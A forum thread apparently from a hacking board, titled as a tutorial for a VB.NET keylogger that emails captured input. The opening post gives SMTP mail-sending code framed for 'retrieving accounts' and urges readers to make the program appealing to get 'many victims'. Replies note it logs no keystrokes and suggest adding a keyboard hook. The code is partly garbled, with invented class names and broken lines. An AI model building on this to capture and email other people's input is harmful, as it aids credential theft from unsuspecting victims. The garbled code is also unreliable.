Thread: [\[TuT\] How to make a email sending vb.net keylogger](#)

Almighteh - September 4, 2011, 3:12 am

May be useful for retrieving accounts of any sort(and Andrew Downsend yes teh code is mine):

Add this at top of the code:

```
Code Imports System.Web
```

```
Imports System.IO
```

```
Imports System.Net.Mail
```

Now paste this into a btton or something that will trigger it (picture box or even a checkbox) :

```
Code Dim mail As New MailMessage()
```

```
    Dim SmtplibServer As New SmtplibClient
```

```
    SmtplibServer.Credentials = New Net.NetworkCredential("anyemail@gmail.com", "password")
```

```
    SmtplibServer.Port = 587
```

```
    SmtplibServer.Host = "smtp.gmail.com"
```

```
    SmtplibServer.EnableSsl = True
```

```
    SmtplibServer.EnableSsl = True
```

```
    mail.To.Add("mailyouwantthemessegetobesento@anymailserver.com")
```

```
    mail.From = New MailAddress("nothere-mail@gmail.com")
```

```
    mail.Subject = "subjectcanbeatextbox"
```

```
    mail.Body = textbox1.textb
```

```
    SmtplibServer.Send(mail)Remember to make the thing as appealing as possible, it will get you many victims!
```

bob42 - September 4, 2011, 3:49 am

This is not a keylogger, all it does is send email.

Nestea - September 4, 2011, 3:53 am

this doesnt keylogg any information lol

SoulZeh - September 4, 2011, 3:54 am

I think he knows it don't keylogg any information but at least he is trying, all he is doing is helping.

Gh0stRid3R - September 4, 2011, 4:05 am

I have a problem here ::

I'm trying to send mail, but it says , smtp exception was unhandled ,error sending mail.

I'm behind a proxy 192.168.1.1 and its port is 8181 open. So, how would i make a program that would send mail?

the code is :

```
Imports System.Net.Mail
```

```
Public Class Form1
```

```
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles Button2.Click
```

```
    Dim Mail As New MailMessage
```

```
Mail.Subject = "spam"
Mail.To.Add("myemail@aol.com")
Mail.From = New MailAddress("myemail@aol.com")
Mail.Body = "Hello there"
```

```
Dim SMTP As New Smtplib.SmtpClient("smtp.aol.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("username", "password")
SMTP.Port = "587"
SMTP.Send(Mail)
End Sub
```

End Class

            Mail.To.Add("myemail@aol.com")
            Mail.From = New MailAddress("myemail@aol.com")
            Mail.Body = "Hello there"

            Dim SMTP As New Smtplib.SmtpClient("smtp.aol.com")
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("username", "password")
            SMTP.Port = "587"
            SMTP.Send(Mail)
        End Sub
    End Class
```

that is what you get for copying and pasting though it a tutorial, that don't mean "oh lets copy the source and just paste it in" means read through it and understand the concept of visual Basic's

Almighteh - September 4, 2011, 4:14 am

Yeah I meant it sends whatever they put in the textbox

Renn0 - September 4, 2011, 7:05 am

For starters try to implement a Keyboard Hook.
